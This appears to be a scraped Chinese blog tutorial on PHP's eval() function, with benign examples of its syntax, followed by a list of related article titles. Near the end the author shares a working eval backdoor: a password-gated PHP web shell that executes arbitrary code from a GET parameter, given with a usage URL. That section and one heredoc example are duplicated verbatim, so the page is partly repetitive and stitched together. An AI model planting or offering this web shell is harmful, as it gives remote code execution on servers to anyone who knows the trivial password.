PHP eval函数使用介绍
来源:互联网 发布:上海博思游戏学校知乎 编辑:程序博客网 时间:2024/06/01 09:22
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。
代码:
复制代码代码如下:
eval("echo'hello world';");
上边代码等同于下边的代码:
echo"hello world";
在浏览器中都输出:hello world
运用eval()要注意几点:
1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)
2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。
代码:
代码如下:
$a=100;
eval("echo$a;");
因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:
复制代码代码如下:
$a=100;
eval("echo\$a;")
3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。
命令式字符串是指:字符串中包括echo、print之类的命令的时候。
如果参数只有一个变量则可以不用。例如:
复制代码代码如下:
$func =<<<FUNC
function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();
分享个php eval后门程序
要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
复制代码代码如下:
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
复制代码代码如下:
$func =<<<FUNC
function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();
分享个php eval后门程序
要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
复制代码代码如下:
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
0 0
- PHP eval函数使用介绍
- PHP使用eval()函数的注意事项
- php里eval函数的使用
- JavaScript eval函数介绍
- PHP函数eval()使用范例及PHP函数eval()小技巧
- php eval函数用法
- php eval函数用法
- php eval() 函数整理
- php函数:eval用法
- PHP eval()函数
- 【php】eval()函数
- PHP eval()函数
- PHP eval() 函数
- php eval使用
- php eval函数的使用和关于安全的问题
- eval()函数的使用
- Matlab eval()函数使用
- js eval函数使用方法介绍
- loadrunner--应用
- ASP.NET 用MultiView和View实现选项卡效果
- Error:Execution failed for task ':app:dexDebug'. > com.android.ide.common.process.ProcessException:
- curl配合simple_html_dom的方法
- 正则表达式
- PHP eval函数使用介绍
- STL迭代器
- 【详解】Python处理大量数据与DICT遍历的优化问题
- window 下 Mysql5.6 主从配置(读写分离)
- erlang消息推送单台1500K长连接实战
- Android 分Dex (MultiDex)
- android selector RadioButton实现Tab功能
- 【不错 转自mos中文文章】Microsoft Windows 环境中NLS_LANG的正确设置
- maven 构建多模块项目